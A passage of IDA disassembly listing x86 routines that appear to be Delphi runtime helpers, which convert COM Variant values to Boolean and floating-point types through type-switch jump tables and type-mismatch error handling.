jnz short loc_4000FD2C
cmp [ebp+var_8], 1
sbb eax, eax
inc eax
mov [ebp+var_5], al
jmp short loc_4000FD38
; ---------------------------------------------------------------------------
loc_4000FCFF: ; CODE XREF: sub_4000FCA4+44j
lea eax, [ebp+var_C]
mov edx, [ebp+var_4]
call sub_40004B0C
mov eax, [ebp+var_C]
lea edx, [ebp+var_5]
call sub_40007F40
test al, al
jnz short loc_4000FD38
movzx edx, word ptr [ebx]
mov cx, 0Bh
mov eax, 80020005h
call sub_4000E034
jmp short loc_4000FD38
; ---------------------------------------------------------------------------
loc_4000FD2C: ; CODE XREF: sub_4000FCA4+4Cj
movzx edx, word ptr [ebx]
mov cx, 0Bh
call sub_4000E034
loc_4000FD38: ; CODE XREF: sub_4000FCA4+59j
; sub_4000FCA4+73j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000FD5D
loc_4000FD45: ; CODE XREF: sub_4000FCA4+B7j
lea eax, [ebp+var_C]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_4000FD56: ; DATA XREF: sub_4000FCA4+Fo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000FD45
; ---------------------------------------------------------------------------
loc_4000FD5D: ; CODE XREF: sub_4000FCA4+B1j
; DATA XREF: sub_4000FCA4+9Co
movzx eax, [ebp+var_5]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000FCA4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000FD68 proc near ; CODE XREF: sub_4000FE58+184p
; sub_4000FE58+325p ...
var_14 = byte ptr -14h
var_C = word ptr -0Ch
push ebx
add esp, 0FFFFFFF0h
mov ebx, eax
push esp
call sub_4000CDD8
push 0Bh
push 0
push 400h
push ebx
lea eax, [esp+24h+var_14]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 0Bh
call sub_4000E034
cmp [esp+14h+var_C], 1
sbb eax, eax
inc eax
add esp, 10h
pop ebx
retn
sub_4000FD68 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000FDA8 proc near ; CODE XREF: sub_4000FE58+1B2p
var_11 = byte ptr -11h
var_1 = byte ptr -1
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
mov ebx, eax
lea eax, [ebp+var_11]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_4000FDFC
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_11]
call sub_4000E700
lea eax, [ebp+var_11]
call ds:off_4001F29C
lea eax, [ebp+var_11]
call sub_4000FE58
mov [ebp+var_1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000FE03
loc_4000FDF3: ; CODE XREF: sub_4000FDA8+59j
lea eax, [ebp+var_11]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_4000FDFC: ; DATA XREF: sub_4000FDA8+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000FDF3
; ---------------------------------------------------------------------------
loc_4000FE03: ; CODE XREF: sub_4000FDA8+53j
; DATA XREF: sub_4000FDA8+46o
movzx eax, [ebp+var_1]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000FDA8 endp
; =============== S U B R O U T I N E =======================================
sub_4000FE0C proc near ; CODE XREF: sub_4000FE58+333p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = word ptr -14h
push ebx
push esi
push edi
add esp, 0FFFFFFECh
mov edi, edx
mov esi, eax
mov edx, esp
movzx eax, word ptr [esi]
call sub_40012D98
mov ebx, eax
test bl, bl
jz short loc_4000FE4C
lea eax, [esp+20h+var_1C]
push eax
call sub_4000CDD8
push 0Bh
mov ecx, esi
lea edx, [esp+24h+var_1C]
mov eax, [esp+24h+var_20]
mov esi, [eax]
call dword ptr [esi+1Ch]
cmp [esp+20h+var_14], 1
sbb eax, eax
inc eax
mov [edi], al
loc_4000FE4C: ; CODE XREF: sub_4000FE0C+18j
mov eax, ebx
add esp, 14h
pop edi
pop esi
pop ebx
retn
sub_4000FE0C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000FE58 proc near ; CODE XREF: sub_4000E9CC+172p
; sub_4000EBF8+6Cp ...
var_8 = byte ptr -8
push ebx
push ecx
mov ebx, eax
movzx eax, word ptr [ebx]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_4000FFE9 ; default
; jumptable 4000FE6B cases 10,14,15
jmp ds:off_4000FE72[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_4000FE72 dd offset loc_4000FEC6 ; DATA XREF: sub_4000FE58+13r
dd offset loc_4000FECF ; jump table for switch statement
dd offset loc_4000FEEE
dd offset loc_4000FEFC
dd offset loc_4000FF09
dd offset loc_4000FF1F
dd offset loc_4000FF35
dd offset loc_4000FF4B
dd offset loc_4000FF61
dd offset loc_4000FFDA
dd offset loc_4000FFE9
dd offset loc_4000FF70
dd offset loc_4000FFCA
dd offset loc_4000FFDA
dd offset loc_4000FFE9
dd offset loc_4000FFE9
dd offset loc_4000FF80
dd offset loc_4000FF8D
dd offset loc_4000FF9A
dd offset loc_4000FFA8
dd offset loc_4000FFB5
; ---------------------------------------------------------------------------
loc_4000FEC6: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
mov [esp+8+var_8], 0 ; jumptable 4000FE6B case 0
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FECF: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp byte_4001AA10, 0 ; jumptable 4000FE6B case 1
jz short loc_4000FEE5
mov dx, 0Bh
mov ax, 1
call sub_4000DBF4
loc_4000FEE5: ; CODE XREF: sub_4000FE58+7Ej
mov [esp+8+var_8], 0
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FEEE: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp word ptr [ebx+8], 0 ; jumptable 4000FE6B case 2
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FEFC: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 3
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF09: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
fld dword ptr [ebx+8] ; jumptable 4000FE6B case 4
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF1F: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
fld qword ptr [ebx+8] ; jumptable 4000FE6B case 5
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF35: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
fild qword ptr [ebx+8] ; jumptable 4000FE6B case 6
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF4B: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
fld qword ptr [ebx+8] ; jumptable 4000FE6B case 7
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF61: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
mov eax, ebx ; jumptable 4000FE6B case 8
call sub_4000FCA4
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF70: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp word ptr [ebx+8], 1 ; jumptable 4000FE6B case 11
sbb eax, eax
inc eax
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF80: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp byte ptr [ebx+8], 0 ; jumptable 4000FE6B case 16
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF8D: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp byte ptr [ebx+8], 0 ; jumptable 4000FE6B case 17
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FF9A: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp word ptr [ebx+8], 0 ; jumptable 4000FE6B case 18
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FFA8: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 19
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FFB5: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
cmp dword ptr [ebx+0Ch], 0 ; jumptable 4000FE6B case 20
jnz short loc_4000FFBF
cmp dword ptr [ebx+8], 0
loc_4000FFBF: ; CODE XREF: sub_4000FE58+161j
setnz al
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FFCA: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
mov eax, [ebx+8] ; jumptable 4000FE6B case 12
call sub_4000FE58
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FFDA: ; CODE XREF: sub_4000FE58+13j
; DATA XREF: sub_4000FE58:off_4000FE72o
mov eax, ebx ; jumptable 4000FE6B cases 9,13
call sub_4000FD68
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4000FFE9: ; CODE XREF: sub_4000FE58+Dj
; sub_4000FE58+13j
; DATA XREF: ...
mov edx, eax ; default
; jumptable 4000FE6B cases 10,14,15
sub dx, 100h
jz short loc_4000FFF9
dec dx
jz short loc_40010008
jmp short loc_40010017
; ---------------------------------------------------------------------------
loc_4000FFF9: ; CODE XREF: sub_4000FE58+198j
mov eax, ebx
call sub_4000FCA4
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_40010008: ; CODE XREF: sub_4000FE58+19Dj
mov eax, ebx
call sub_4000FDA8
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_40010017: ; CODE XREF: sub_4000FE58+19Fj
test ah, 40h
jz loc_40010187
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_4001017B ; default
; jumptable 40010031 cases 0,1,9,10,13-15
jmp ds:off_40010038[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40010038 dd offset loc_4001017B ; DATA XREF: sub_4000FE58+1D9r
dd offset loc_4001017B ; jump table for switch statement
dd offset loc_4001008C
dd offset loc_4001009C
dd offset loc_400100AB
dd offset loc_400100C3
dd offset loc_400100DB
dd offset loc_400100F3
dd offset loc_4001010B
dd offset loc_4001017B
dd offset loc_4001017B
dd offset loc_4001011A
dd offset loc_4001016E
dd offset loc_4001017B
dd offset loc_4001017B
dd offset loc_4001017B
dd offset loc_40010129
dd offset loc_40010135
dd offset loc_40010141
dd offset loc_4001014E
dd offset loc_4001015A
; ---------------------------------------------------------------------------
loc_4001008C: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 2
cmp word ptr [eax], 0
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4001009C: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 3
cmp dword ptr [eax], 0
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_400100AB: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 4
fld dword ptr [eax]
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_400100C3: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 5
fld qword ptr [eax]
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_400100DB: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 6
fild qword ptr [eax]
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_400100F3: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 7
fld qword ptr [eax]
fcomp ds:flt_400101A8
fstsw ax
sahf
setnz [esp+8+var_8]
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4001010B: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, ebx ; jumptable 40010031 case 8
call sub_4000FCA4
mov [esp+8+var_8], al
jmp loc_4001019E
; ---------------------------------------------------------------------------
loc_4001011A: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 11
cmp word ptr [eax], 1
sbb eax, eax
inc eax
mov [esp+8+var_8], al
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_40010129: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 16
cmp byte ptr [eax], 0
setnz [esp+8+var_8]
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_40010135: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 17
cmp byte ptr [eax], 0
setnz [esp+8+var_8]
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_40010141: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 18
cmp word ptr [eax], 0
setnz [esp+8+var_8]
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_4001014E: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 19
cmp dword ptr [eax], 0
setnz [esp+8+var_8]
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_4001015A: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 20
cmp dword ptr [eax+4], 0
jnz short loc_40010166
cmp dword ptr [eax], 0
loc_40010166: ; CODE XREF: sub_4000FE58+309j
setnz al
mov [esp+8+var_8], al
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_4001016E: ; CODE XREF: sub_4000FE58+1D9j
; DATA XREF: sub_4000FE58:off_40010038o
mov eax, [ebx+8] ; jumptable 40010031 case 12
call sub_4000FE58
mov [esp+8+var_8], al
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_4001017B: ; CODE XREF: sub_4000FE58+1D3j
; sub_4000FE58+1D9j
; DATA XREF: ...
mov eax, ebx ; default
; jumptable 40010031 cases 0,1,9,10,13-15
call sub_4000FD68
mov [esp+8+var_8], al
jmp short loc_4001019E
; ---------------------------------------------------------------------------
loc_40010187: ; CODE XREF: sub_4000FE58+1C2j
mov edx, esp
mov eax, ebx
call sub_4000FE0C
test al, al
jnz short loc_4001019E
mov eax, ebx
call sub_4000FD68
mov [esp+8+var_8], al
loc_4001019E: ; CODE XREF: sub_4000FE58+72j
; sub_4000FE58+91j ...
movzx eax, [esp+8+var_8]
pop edx
pop ebx
retn
sub_4000FE58 endp
; ---------------------------------------------------------------------------
align 4
flt_400101A8 dd 0.0 ; DATA XREF: sub_4000FE58+B4r
; sub_4000FE58+CAr ...
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400101AC proc near ; CODE XREF: sub_4001036C+FEp
; sub_4001036C+1B9p ...
var_24 = dword ptr -24h
var_20 = tbyte ptr -20h
var_10 = qword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFDCh
push ebx
xor edx, edx
mov [ebp+var_24], edx
mov [ebp+var_4], edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40010261
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_4]
call sub_40011DFC
lea eax, [ebp+var_10]
push eax
push 0
push 400h
mov eax, [ebp+var_4]
push eax
mov eax, off_4001AFF0
mov eax, [eax]
call eax
mov edx, eax
sub edx, 80020005h
jz short loc_40010201
sub edx, 7FFDFFFBh
jnz short loc_40010237
jmp short loc_40010243
; ---------------------------------------------------------------------------
loc_40010201: ; CODE XREF: sub_400101AC+49j
lea eax, [ebp+var_24]
mov edx, [ebp+var_4]
call sub_40004B0C
mov eax, [ebp+var_24]
lea edx, [ebp+var_20]
call sub_40008E74
test al, al
jz short loc_40010224
fld [ebp+var_20]
fstp [ebp+var_10]
wait
jmp short loc_40010243
; ---------------------------------------------------------------------------
loc_40010224: ; CODE XREF: sub_400101AC+6Dj
movzx edx, word ptr [ebx]
mov cx, 5
mov eax, 80020005h
call sub_4000E034
jmp short loc_40010243
; ---------------------------------------------------------------------------
loc_40010237: ; CODE XREF: sub_400101AC+51j
movzx edx, word ptr [ebx]
mov cx, 5
call sub_4000E034
loc_40010243: ; CODE XREF: sub_400101AC+53j
; sub_400101AC+76j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40010268
loc_40010250: ; CODE XREF: sub_400101AC+BAj
lea eax, [ebp+var_24]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_40010261: ; DATA XREF: sub_400101AC+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40010250
; ---------------------------------------------------------------------------
loc_40010268: ; CODE XREF: sub_400101AC+B4j
; DATA XREF: sub_400101AC+9Fo
fld [ebp+var_10]
pop ebx
mov esp, ebp
pop ebp
retn
sub_400101AC endp
; =============== S U B R O U T I N E =======================================
sub_40010270 proc near ; CODE XREF: sub_4001036C+199p
; sub_4001036C+349p ...
var_1C = qword ptr -1Ch
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebx
add esp, 0FFFFFFE8h
mov ebx, eax
lea eax, [esp+1Ch+var_14]
push eax
call sub_4000CDD8
push 5
push 0
push 400h
push ebx
lea eax, [esp+2Ch+var_14]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 5
call sub_4000E034
mov eax, [esp+1Ch+var_C]
mov dword ptr [esp+1Ch+var_1C], eax
mov eax, [esp+1Ch+var_8]
mov dword ptr [esp+1Ch+var_1C+4], eax
fld [esp+1Ch+var_1C]
add esp, 18h
pop ebx
retn
sub_40010270 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400102BC proc near ; CODE XREF: sub_4001036C+1C9p
var_18 = byte ptr -18h
var_8 = qword ptr -8
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
mov ebx, eax
lea eax, [ebp+var_18]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_40010311
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_18]
call sub_4000E700
lea eax, [ebp+var_18]
call ds:off_4001F29C
lea eax, [ebp+var_18]
call sub_4001036C
fstp [ebp+var_8]
wait
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40010318
loc_40010308: ; CODE XREF: sub_400102BC+5Aj
lea eax, [ebp+var_18]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_40010311: ; DATA XREF: sub_400102BC+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40010308
; ---------------------------------------------------------------------------
loc_40010318: ; CODE XREF: sub_400102BC+54j
; DATA XREF: sub_400102BC+47o
fld [ebp+var_8]
pop ebx
mov esp, ebp
pop ebp
retn
sub_400102BC endp
; =============== S U B R O U T I N E =======================================
sub_40010320 proc near ; CODE XREF: sub_4001036C+358p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFECh
mov edi, edx
mov esi, eax
mov edx, esp
movzx eax, word ptr [esi]
call sub_40012D98
mov ebx, eax
test bl, bl
jz short loc_40010362
lea eax, [esp+20h+var_1C]
push eax
call sub_4000CDD8
push 5
mov ecx, esi
lea edx, [esp+24h+var_1C]
mov eax, [esp+24h+var_20]
mov esi, [eax]
call dword ptr [esi+1Ch]
mov eax, [esp+20h+var_14]
mov [edi], eax
mov eax, [esp+20h+var_10]
mov [edi+4], eax
loc_40010362: ; CODE XREF: sub_40010320+18j
mov eax, ebx
add esp, 14h
pop edi
pop esi
pop ebx
retn
sub_40010320 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001036C proc near ; CODE XREF: sub_4000E9CC+116p
; sub_400102BC+36p ...
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
push ebx
add esp, 0FFFFFFECh
mov ebx, eax
movzx eax, word ptr [ebx]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_40010513 ; default
; jumptable 40010381 cases 10,14,15
jmp ds:off_40010388[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_40010388 dd offset loc_400103DC ; DATA XREF: sub_4001036C+15r
dd offset loc_400103EA ; jump table for switch statement
dd offset loc_4001040E
dd offset loc_4001041A
dd offset loc_40010426
dd offset loc_40010432
dd offset loc_40010444
dd offset loc_40010456
dd offset loc_40010468
dd offset loc_40010503
dd offset loc_40010513
dd offset loc_40010478
dd offset loc_400104F2
dd offset loc_40010503
dd offset loc_40010513
dd offset loc_40010513
dd offset loc_4001048D
dd offset loc_400104A2
dd offset loc_400104B7
dd offset loc_400104CC
dd offset loc_400104E6
; ---------------------------------------------------------------------------
loc_400103DC: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
xor eax, eax ; jumptable 40010381 case 0
mov dword ptr [esp+18h+var_18], eax
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400103EA: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
cmp byte_4001AA10, 0 ; jumptable 40010381 case 1
jz short loc_40010400
mov dx, 5
mov ax, 1
call sub_4000DBF4
loc_40010400: ; CODE XREF: sub_4001036C+85j
xor eax, eax
mov dword ptr [esp+18h+var_18], eax
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_4001040E: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
fild word ptr [ebx+8] ; jumptable 40010381 case 2
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_4001041A: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
fild dword ptr [ebx+8] ; jumptable 40010381 case 3
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010426: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
fld dword ptr [ebx+8] ; jumptable 40010381 case 4
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010432: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
mov eax, [ebx+8] ; jumptable 40010381 case 5
mov dword ptr [esp+18h+var_18], eax
mov eax, [ebx+0Ch]
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010444: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
fild qword ptr [ebx+8] ; jumptable 40010381 case 6
fdiv ds:flt_400106E0
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010456: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
mov eax, [ebx+8] ; jumptable 40010381 case 7
mov dword ptr [esp+18h+var_18], eax
mov eax, [ebx+0Ch]
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010468: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
mov eax, ebx ; jumptable 40010381 case 8
call sub_400101AC
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010478: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
movsx eax, word ptr [ebx+8] ; jumptable 40010381 case 11
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_4001048D: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
movsx eax, byte ptr [ebx+8] ; jumptable 40010381 case 16
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400104A2: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
movzx eax, byte ptr [ebx+8] ; jumptable 40010381 case 17
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400104B7: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
movzx eax, word ptr [ebx+8] ; jumptable 40010381 case 18
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400104CC: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
mov eax, [ebx+8] ; jumptable 40010381 case 19
mov dword ptr [esp+18h+var_C], eax
xor eax, eax
mov dword ptr [esp+18h+var_C+4], eax
fild [esp+18h+var_C]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400104E6: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
fild qword ptr [ebx+8] ; jumptable 40010381 case 20
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400104F2: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
mov eax, [ebx+8] ; jumptable 40010381 case 12
call sub_4001036C
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010503: ; CODE XREF: sub_4001036C+15j
; DATA XREF: sub_4001036C:off_40010388o
mov eax, ebx ; jumptable 40010381 cases 9,13
call sub_40010270
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010513: ; CODE XREF: sub_4001036C+Fj
; sub_4001036C+15j
; DATA XREF: ...
mov edx, eax ; default
; jumptable 40010381 cases 10,14,15
sub dx, 100h
jz short loc_40010523
dec dx
jz short loc_40010533
jmp short loc_40010543
; ---------------------------------------------------------------------------
loc_40010523: ; CODE XREF: sub_4001036C+1AEj
mov eax, ebx
call sub_400101AC
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010533: ; CODE XREF: sub_4001036C+1B3j
mov eax, ebx
call sub_400102BC
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010543: ; CODE XREF: sub_4001036C+1B5j
test ah, 40h
jz loc_400106C0
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_400106B3 ; default
; jumptable 4001055D cases 0,1,9,10,13-15
jmp ds:off_40010564[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40010564 dd offset loc_400106B3 ; DATA XREF: sub_4001036C+1F1r
dd offset loc_400106B3 ; jump table for switch statement
dd offset loc_400105B8
dd offset loc_400105C6
dd offset loc_400105D4
dd offset loc_400105E2
dd offset loc_400105F6
dd offset loc_4001060A
dd offset loc_4001061E
dd offset loc_400106B3
dd offset loc_400106B3
dd offset loc_4001062E
dd offset loc_400106A5
dd offset loc_400106B3
